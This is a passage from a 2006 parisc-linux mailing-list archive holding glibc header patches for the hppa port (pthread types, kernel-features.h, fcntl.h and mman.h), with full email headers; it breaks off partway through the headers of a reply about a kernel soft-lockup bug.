Cit9IHB0aHJlYWRfYXR0cl90OworCisKKy8qIENvbmRpdGlvbnMgKG5vdCBhYnN0cmFjdCBiZWNh
dXNlIG9mIFBUSFJFQURfQ09ORF9JTklUSUFMSVpFUiAqLworCisjaWZkZWYgX19HTElCQ19IQVZF
X0xPTkdfTE9ORworX19leHRlbnNpb25fXyB0eXBlZGVmIGxvbmcgbG9uZyBfX3B0aHJlYWRfY29u
ZF9hbGlnbl90OworI2Vsc2UKK3R5cGVkZWYgbG9uZyBfX3B0aHJlYWRfY29uZF9hbGlnbl90Owor
I2VuZGlmCisKK3R5cGVkZWYgc3RydWN0Cit7CisgIHN0cnVjdCBfcHRocmVhZF9mYXN0bG9jayBf
X2NfbG9jazsgLyogUHJvdGVjdCBhZ2FpbnN0IGNvbmN1cnJlbnQgYWNjZXNzICovCisgIF9wdGhy
ZWFkX2Rlc2NyIF9fY193YWl0aW5nOyAgICAgICAgLyogVGhyZWFkcyB3YWl0aW5nIG9uIHRoaXMg
Y29uZGl0aW9uICovCisgIGNoYXIgX19wYWRkaW5nWzQ4IC0gc2l6ZW9mIChzdHJ1Y3QgX3B0aHJl
YWRfZmFzdGxvY2spCisJCSAtIHNpemVvZiAoX3B0aHJlYWRfZGVzY3IpIC0gc2l6ZW9mIChfX3B0
aHJlYWRfY29uZF9hbGlnbl90KV07CisgIF9fcHRocmVhZF9jb25kX2FsaWduX3QgX19hbGlnbjsK
K30gcHRocmVhZF9jb25kX3Q7CisKKworLyogQXR0cmlidXRlIGZvciBjb25kaXRpb25hbGx5IHZh
cmlhYmxlcy4gICovCit0eXBlZGVmIHN0cnVjdAoreworICBpbnQgX19kdW1teTsKK30gcHRocmVh
ZF9jb25kYXR0cl90OworCisvKiBLZXlzIGZvciB0aHJlYWQtc3BlY2lmaWMgZGF0YSAqLwordHlw
ZWRlZiB1bnNpZ25lZCBpbnQgcHRocmVhZF9rZXlfdDsKKworCisvKiBNdXRleGVzIChub3QgYWJz
dHJhY3QgYmVjYXVzZSBvZiBQVEhSRUFEX01VVEVYX0lOSVRJQUxJWkVSKS4gICovCisvKiAoVGhl
IGxheW91dCBpcyB1bm5hdHVyYWwgdG8gbWFpbnRhaW4gYmluYXJ5IGNvbXBhdGliaWxpdHkKKyAg
ICB3aXRoIGVhcmxpZXIgcmVsZWFzZXMgb2YgTGludXhUaHJlYWRzLikgKi8KK3R5cGVkZWYgc3Ry
dWN0Cit7CisgIGludCBfX21fcmVzZXJ2ZWQ7ICAgICAgICAgICAgICAgLyogUmVzZXJ2ZWQgZm9y
IGZ1dHVyZSB1c2UgKi8KKyAgaW50IF9fbV9jb3VudDsgICAgICAgICAgICAgICAgICAvKiBEZXB0
aCBvZiByZWN1cnNpdmUgbG9ja2luZyAqLworICBfcHRocmVhZF9kZXNjciBfX21fb3duZXI7ICAg
ICAgIC8qIE93bmVyIHRocmVhZCAoaWYgcmVjdXJzaXZlIG9yIGVycmNoZWNrKSAqLworICBpbnQg
X19tX2tpbmQ7ICAgICAgICAgICAgICAgICAgIC8qIE11dGV4IGtpbmQ6IGZhc3QsIHJlY3Vyc2l2
ZSBvciBlcnJjaGVjayAqLworICBzdHJ1Y3QgX3B0aHJlYWRfZmFzdGxvY2sgX19tX2xvY2s7IC8q
IFVuZGVybHlpbmcgZmFzdCBsb2NrICovCit9IHB0aHJlYWRfbXV0ZXhfdDsKKworCisvKiBBdHRy
aWJ1dGUgZm9yIG11dGV4LiAgKi8KK3R5cGVkZWYgc3RydWN0Cit7CisgIGludCBfX211dGV4a2lu
ZDsKK30gcHRocmVhZF9tdXRleGF0dHJfdDsKKworCisvKiBPbmNlLW9ubHkgZXhlY3V0aW9uICov
Cit0eXBlZGVmIGludCBwdGhyZWFkX29uY2VfdDsKKworCisjaWZkZWYgX19VU0VfVU5JWDk4Cisv
KiBSZWFkLXdyaXRlIGxvY2tzLiAgKi8KK3R5cGVkZWYgc3RydWN0IF9wdGhyZWFkX3J3bG9ja190
Cit7CisgIHN0cnVjdCBfcHRocmVhZF9mYXN0bG9jayBfX3J3X2xvY2s7IC8qIExvY2sgdG8gZ3Vh
cmFudGVlIG11dHVhbCBleGNsdXNpb24gKi8KKyAgaW50IF9fcndfcmVhZGVyczsgICAgICAgICAg
ICAgICAgICAgLyogTnVtYmVyIG9mIHJlYWRlcnMgKi8KKyAgX3B0aHJlYWRfZGVzY3IgX19yd193
cml0ZXI7ICAgICAgICAgLyogSWRlbnRpdHkgb2Ygd3JpdGVyLCBvciBOVUxMIGlmIG5vbmUgKi8K
KyAgX3B0aHJlYWRfZGVzY3IgX19yd19yZWFkX3dhaXRpbmc7ICAgLyogVGhyZWFkcyB3YWl0aW5n
IGZvciByZWFkaW5nICovCisgIF9wdGhyZWFkX2Rlc2NyIF9fcndfd3JpdGVfd2FpdGluZzsgIC8q
IFRocmVhZHMgd2FpdGluZyBmb3Igd3JpdGluZyAqLworICBpbnQgX19yd19raW5kOyAgICAgICAg
ICAgICAgICAgICAgICAvKiBSZWFkZXIvV3JpdGVyIHByZWZlcmVuY2Ugc2VsZWN0aW9uICovCisg
IGludCBfX3J3X3BzaGFyZWQ7ICAgICAgICAgICAgICAgICAgIC8qIFNoYXJlZCBiZXR3ZWVuIHBy
b2Nlc3NlcyBvciBub3QgKi8KK30gcHRocmVhZF9yd2xvY2tfdDsKKworCisvKiBBdHRyaWJ1dGUg
Zm9yIHJlYWQtd3JpdGUgbG9ja3MuICAqLwordHlwZWRlZiBzdHJ1Y3QKK3sKKyAgaW50IF9fbG9j
a2tpbmQ7CisgIGludCBfX3BzaGFyZWQ7Cit9IHB0aHJlYWRfcndsb2NrYXR0cl90OworI2VuZGlm
CisKKyNpZmRlZiBfX1VTRV9YT1BFTjJLCisvKiBQT1NJWCBzcGlubG9jayBkYXRhIHR5cGUuICAq
LwordHlwZWRlZiBfX2F0b21pY19sb2NrX3QgcHRocmVhZF9zcGlubG9ja190OworCisvKiBQT1NJ
WCBiYXJyaWVyLiAqLwordHlwZWRlZiBzdHJ1Y3QgeworICBzdHJ1Y3QgX3B0aHJlYWRfZmFzdGxv
Y2sgX19iYV9sb2NrOyAvKiBMb2NrIHRvIGd1YXJhbnRlZSBtdXR1YWwgZXhjbHVzaW9uICovCisg
IGludCBfX2JhX3JlcXVpcmVkOyAgICAgICAgICAgICAgICAgIC8qIFRocmVhZHMgbmVlZGVkIGZv
ciBjb21wbGV0aW9uICovCisgIGludCBfX2JhX3ByZXNlbnQ7ICAgICAgICAgICAgICAgICAgIC8q
IFRocmVhZHMgd2FpdGluZyAqLworICBfcHRocmVhZF9kZXNjciBfX2JhX3dhaXRpbmc7ICAgICAg
ICAvKiBRdWV1ZSBvZiB3YWl0aW5nIHRocmVhZHMgKi8KK30gcHRocmVhZF9iYXJyaWVyX3Q7CisK
Ky8qIGJhcnJpZXIgYXR0cmlidXRlICovCit0eXBlZGVmIHN0cnVjdCB7CisgIGludCBfX3BzaGFy
ZWQ7Cit9IHB0aHJlYWRfYmFycmllcmF0dHJfdDsKKworI2VuZGlmCisKKworLyogVGhyZWFkIGlk
ZW50aWZpZXJzICovCit0eXBlZGVmIHVuc2lnbmVkIGxvbmcgaW50IHB0aHJlYWRfdDsKKworI2Vu
ZGlmCS8qIGJpdHMvcHRocmVhZHR5cGVzLmggKi8K
------=_Part_1392_14404280.1145052768186
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_1392_14404280.1145052768186--



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] kernel-features.h for hppa
Date: Fri, 14 Apr 2006 18:29:51 -0400
Lines: 96
Approved: news@gmane.org
Message-ID: <119aab440604141529p4a9bf2a9r33e6ebbb1138acc9@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_1572_1900494.1145053791226"
X-Trace: ger.gmane.org 1416624054 18942 80.91.229.3 (22 Nov 2014 02:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:54 +0000 (UTC)
To: libc-ports@sources.redhat.com,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2006 22:30:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 15 Apr 2006 00:30:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26C3A7D6EF;
	Fri, 14 Apr 2006 16:29:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08406-06; Fri, 14 Apr 2006 16:29:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B316E7D6DB;
	Fri, 14 Apr 2006 16:29:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D32DA7D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:29:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08414-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:29:52 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.197])
	by free.linux.hp.com (Postfix) with ESMTP id EB1267D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:29:51 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 18so230865nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 15:29:51 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type;
	b=M3xVU1vTJj5kuVBKfZd2smO6nNJESx6C8T9nhZyO3VsalazKRRrTT8jyo413ne+Scec5OUyTRPgnWMUm8z/vcNL3IjLZ9szwCdMmh3I7y5uR17M5uYwRJsBjO6HN8Hs/nZ6YPuaBWQj+Iq8DRBFKlxQA90UZli1I9vF5yUFO0Do=
Original-Received: by 10.36.250.26 with SMTP id x26mr2793508nzh;
	Fri, 14 Apr 2006 15:29:51 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Fri, 14 Apr 2006 15:29:51 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DFMpK+hKMydynYigZWplZmhraGRhZhqm
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23573

------=_Part_1572_1900494.1145053791226
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

This keeps hppa up to date on the recent kernel-features.h removal of
all ports arches.

Ok to commit?

Cheers,
Carlos.

2006-04-14  Carlos O'Donell  <carlos@systemhalted.org>

=09* sysdeps/unix/sysv/linux/hppa/kernel-features.h: New file.

------=_Part_1572_1900494.1145053791226
Content-Type: text/x-patch; 
	name=patch-import-kernel-features-2006-04-14.diff; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_em13cj7s
Content-Disposition: attachment;
	filename="patch-import-kernel-features-2006-04-14.diff"

Index: ChangeLog.hppa
===================================================================
RCS file: /cvs/glibc/ports/ChangeLog.hppa,v
retrieving revision 1.2
diff -u -p -r1.2 ChangeLog.hppa
--- ChangeLog.hppa	28 Feb 2006 22:20:13 -0000	1.2
+++ ChangeLog.hppa	14 Apr 2006 22:26:30 -0000
@@ -1,3 +1,8 @@
+2006-04-14  Carlos O'Donell  <carlos@systemhalted.org>
+
+	* sysdeps/unix/sysv/linux/hppa/kernel-features.h: New file.
+
+
 2006-02-28  Roland McGrath  <roland@redhat.com>
 
 	* sysdeps/hppa/shlib-versions: New file.
Index: sysdeps/unix/sysv/linux/hppa/kernel-features.h
===================================================================
RCS file: sysdeps/unix/sysv/linux/hppa/kernel-features.h
diff -N sysdeps/unix/sysv/linux/hppa/kernel-features.h
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sysdeps/unix/sysv/linux/hppa/kernel-features.h	14 Apr 2006 22:26:30 -0000
@@ -0,0 +1,34 @@
+/* Set flags signalling availability of kernel features based on given
+   kernel version number.
+   Copyright (C) 2006 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+
+/* There are an infinite number of PA-RISC kernel versions numbered
+   2.4.0.  But they've not really been released as such.  We require
+   and expect the final version here.  */
+# define __ASSUME_32BITUIDS		1
+# define __ASSUME_TRUNCATE64_SYSCALL	1
+# define __ASSUME_MMAP2_SYSCALL		1
+# define __ASSUME_STAT64_SYSCALL	1
+# define __ASSUME_IPC64			1
+# define __ASSUME_ST_INO_64_BIT		1
+# define __ASSUME_FCNTL64		1
+# define __ASSUME_GETDENTS64_SYSCALL	1
+
+#include_next <kernel-features.h>

------=_Part_1572_1900494.1145053791226
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_1572_1900494.1145053791226--



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Update linux bits/* for hppa.
Date: Fri, 14 Apr 2006 18:40:15 -0400
Lines: 126
Approved: news@gmane.org
Message-ID: <119aab440604141540s103cc86aof9cdb4a2047f4665@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_1644_8100867.1145054415037"
X-Trace: ger.gmane.org 1416624054 18947 80.91.229.3 (22 Nov 2014 02:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:54 +0000 (UTC)
To: libc-ports@sources.redhat.com,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2006 22:40:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 15 Apr 2006 00:40:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8294E7D6EF;
	Fri, 14 Apr 2006 16:40:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08815-01; Fri, 14 Apr 2006 16:40:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60F207D6F4;
	Fri, 14 Apr 2006 16:40:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1857D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:40:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08414-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:40:15 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.205])
	by free.linux.hp.com (Postfix) with ESMTP id 85EEF7D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:40:15 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 18so232183nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 15:40:15 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type;
	b=VMlLTI2gaYqgLzSqNkyYaDjcp6Vyuxu4WIYhE9p8vNVUBA4R47KO8wXj9VsjNV9zEbaLEpzF2aMWUl6ShNtkPwYxrNJTJqgPlQ8iiml39mFxb/0ijMP5yjC/OCYBRbwle13ocqjQMhTHTdWyqzQGud64GwhRCcYo/xi/pNrrWG8=
Original-Received: by 10.37.2.70 with SMTP id e70mr2269654nzi;
	Fri, 14 Apr 2006 15:40:15 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Fri, 14 Apr 2006 15:40:15 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4RFyfKBBPjlt6urBOTU2MTEzMTE2NcnO
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23574

------=_Part_1644_8100867.1145054415037
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Update mman.h and fcntl.h for hppa.

This is a new mail setup for me, so please feel free to use a
cluebat if something is malformed.

Ok to checkin?

Cheers,
Carlos.

2006-04-14  Carlos O'Donell  <carlos@systemhalted.org>

=09* sysdeps/unix/sysv/linux/hppa/bits/mman.h [__USE_GNU]:
=09Define MMAP_FIXED.
=09* sysdeps/unix/sysv/linux/hppa/bits/fcntl.h [__USE_GNU]:
=09Define SYNC_FILE_RANGE_WAIT_BEFORE, SYNC_FILE_RANGE_WRITE,
=09SYNC_FILE_RANGE_WAIT_AFTER, sync_file_range, splice, tee.

------=_Part_1644_8100867.1145054415037
Content-Type: text/x-patch; name=patch-fix-linux-bits-2006-04-14.diff; 
	charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_em13or4a
Content-Disposition: attachment;
	filename="patch-fix-linux-bits-2006-04-14.diff"

Index: ChangeLog.hppa
===================================================================
RCS file: /cvs/glibc/ports/ChangeLog.hppa,v
retrieving revision 1.2
diff -u -p -r1.2 ChangeLog.hppa
--- ChangeLog.hppa	28 Feb 2006 22:20:13 -0000	1.2
+++ ChangeLog.hppa	14 Apr 2006 22:36:37 -0000
@@ -1,3 +1,11 @@
+2006-04-14  Carlos O'Donell  <carlos@systemhalted.org>
+
+	* sysdeps/unix/sysv/linux/hppa/bits/mman.h [__USE_GNU]: 
+	Define MMAP_FIXED.
+	* sysdeps/unix/sysv/linux/hppa/bits/fcntl.h [__USE_GNU]: 
+	Define SYNC_FILE_RANGE_WAIT_BEFORE, SYNC_FILE_RANGE_WRITE,
+	SYNC_FILE_RANGE_WAIT_AFTER, sync_file_range, splice, tee.
+
 2006-02-28  Roland McGrath  <roland@redhat.com>
 
 	* sysdeps/hppa/shlib-versions: New file.
Index: sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
===================================================================
RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h,v
retrieving revision 1.7
diff -u -p -r1.7 fcntl.h
--- sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	23 Aug 2004 07:28:44 -0000	1.7
+++ sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	14 Apr 2006 22:36:37 -0000
@@ -172,10 +172,38 @@ struct flock64
 # define POSIX_FADV_NOREUSE	5 /* Data will be accessed once.  */
 #endif
 
+#ifdef __USE_GNU
+# define SYNC_FILE_RANGE_WAIT_BEFORE	1 /* Wait upon writeout of all pages
+					     in the range before performing the
+					     write.  */
+# define SYNC_FILE_RANGE_WRITE		2 /* Initiate writeout of all those
+					     dirty pages in the range which are
+					     not presently under writeback.  */
+# define SYNC_FILE_RANGE_WAIT_AFTER	4 /* Wait upon writeout of all pages in
+					     the range after performing the
+					     write.  */
+#endif
+
 __BEGIN_DECLS
 
+#ifdef __USE_GNU
+
 /* Provide kernel hint to read ahead.  */
 extern ssize_t readahead (int __fd, __off64_t __offset, size_t __count)
     __THROW;
 
+/* Selective file content synch'ing.  */
+extern int sync_file_range (int __fd, __off64_t __from, __off64_t __to,
+			    unsigned int __flags);
+
+/* Splice two files together.  */
+extern int splice (int __fdin, int __fdout, size_t __len, unsigned int __flags)
+    __THROW;
+
+/* In-kernel implementation of tee for pipe buffers.  */
+extern int tee (int __fdin, int __fdout, size_t __len, unsigned int __flags)
+    __THROW;
+    
+#endif
+    
 __END_DECLS
Index: sysdeps/unix/sysv/linux/hppa/bits/mman.h
===================================================================
RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/bits/mman.h,v
retrieving revision 1.3
diff -u -p -r1.3 mman.h
--- sysdeps/unix/sysv/linux/hppa/bits/mman.h	25 Sep 2003 16:39:38 -0000	1.3
+++ sysdeps/unix/sysv/linux/hppa/bits/mman.h	14 Apr 2006 22:36:37 -0000
@@ -80,4 +80,7 @@
 /* Flags for `mremap'.  */
 #ifdef __USE_GNU
 # define MREMAP_MAYMOVE 1
+# define MREMAP_FIXED	2
 #endif
+
+


------=_Part_1644_8100867.1145054415037
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_1644_8100867.1145054415037--



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "BUG: soft lockup detected on CPU#0" on recent
	64bit k-2.6.16 (up or smp)
Date: Sun, 16 Apr 2006 20:04:16 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <4442A340.5090807@tiscali.be>
References: <IXNES9$1FC408083B06CF3616F90EC3F405A12F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624055 18949 80.91.229.3 (22 Nov 2014 02:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:55 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Apr 2006 20:04:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 16 Apr 2006 22:04:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5FD27D6A6;
	Sun, 16 Apr 2006 14:04:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29907-07; Sun, 16 Apr 2006 14:04:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D1F07D6A8;
	Sun, 16 Apr 2006 14:04:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29BC17D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:04:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29907-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:04:26 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id E80EB7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:04:25 -0600 (MDT)
Original-Received: from ([62.235.225.137]) 
	by oola.is.scarlet.be  with ESMTP id k3GK4MA27501; 
	Sun, 16 Apr 2006 22:04:22 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <IXNES9$1FC408083B06CF3616F90EC3F405A12F@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
